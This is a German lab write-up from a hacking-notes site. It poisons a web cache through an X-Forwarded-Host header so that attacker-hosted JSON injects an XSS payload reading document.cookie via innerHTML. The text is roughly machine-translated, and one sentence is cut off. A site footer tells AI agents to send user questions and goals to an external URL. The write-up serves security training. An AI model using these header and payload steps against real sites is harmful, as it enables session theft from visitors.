> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md).

# Cache-Poisoning zum Ausnutzen von DOM-XSS mit strengem Cache

Notizen zum Cache-Poisoning zum Ausnutzen von DOM-XSS mit strengem Cache für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Web-Cache-Poisoning, um eine DOM-Schwachstelle über einen Cache mit strengen Kriterien für die Cachebarkeit auszunutzen

#### Ziel des Labs

Wir müssen **den Cache vergiften** damit ein Besucher der Startseite ausführt **`alert(document.cookie)`** über eine **DOM-Schwachstelle**.

#### Beobachtungen

* Die Seite zeigt länderspezifische Lieferinformationen an (z. B. Vereinigtes Königreich).
* Wir identifizieren ein **`geolocate.js`** Skript, das das DOM aus einem JSON aufbaut.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4223c016cac84983d0e8885015fcf2a628da7fd%2F%7BD8528482-96A2-4130-A7BE-2D268985CFA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse der clientseitigen Logik

In **`geolocate.js`** sehen wir eine Funktion vom Typ:

* Sie macht einen `fetch(jsonUrl)`
* Dann ruft es ab `j.country`
* Und sie tut Folgendes: **`div.innerHTML = 'Kostenloser Versand nach ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Kostenloser Versand nach ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

Das standardmäßig geladene JSON ist:

**`/resources/json/geolocate.json`**

```json
{
    "country": "Vereinigtes Königreich"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-89bea8169cb30d48c7ddfa5f5d0bea93b9fd7382%2F%7BC849D652-9DCF-481C-A7AB-685AF8215537%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Auf der Startseite wird die JSON-URL wie folgt aufgebaut:

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-337f4b54b29fd81f78bc4038c2ce5ba658dc47af%2F%7BC9EDB337-C2C8-4FD6-9388-2EB82086B226%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Nützlicher Injektionspunkt (Cache-Poisoning)

Wir stellen fest, dass, wenn wir einen Header wie folgenden hinzufügen:

* `X-Forwarded-Host: test.com`<br>

Dann **wird der Wert reflektiert** in `data.host`, was dann die an `initGeoLocate()`.

#### Unterbringung unseres JSON auf dem Exploit-Server

Auf unserem **Exploit-Servers**, erstellen wir eine JSON-Datei (einfaches Beispiel):

```json
{
  "country": "Andorra"
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-113d7a1ed72921a067b2ce90f6f4643685bcf9dd%2F%7B51A89E7F-29E1-48AA-964D-ED20BD309564%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dann senden wir eine Anfrage an das Root-Verzeichnis mit:

* `X-Forwarded-Host: <notre-exploit-server>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

Zunächst **wird nicht geladen** wegen eines Problems **CORS** (kein `Access-Control-Allow-Origin`).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c11a70435f8bf8595f7004cf27ac494d8f1d7de%2F%7B1B5FD064-A739-4A40-A072-89C6BEDE4DAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir fügen daher in die Antwort des Exploit-Servers ein:

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

Danach wird das entfernte JSON korrekt geladen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7e22fee28d87a91da3be797ea840b25793d2f1c%2F%7BB842B488-E67B-4AF7-B571-7E5F49FE94E8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### XSS-Injektion über JSON (DOM XSS)

Dann ersetzen wir den Inhalt des JSON durch eine Payload, zum Beispiel:

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

Während `j.country` wird in `innerHTML`, interpretiert der Browser unser HTML, und \*\*l

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54a2b32b04a24bc09cc9803c119df3b0d9a7c71d%2F%7B4F248A0C-1AFF-406D-AFF9-12BAD0DE5663%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
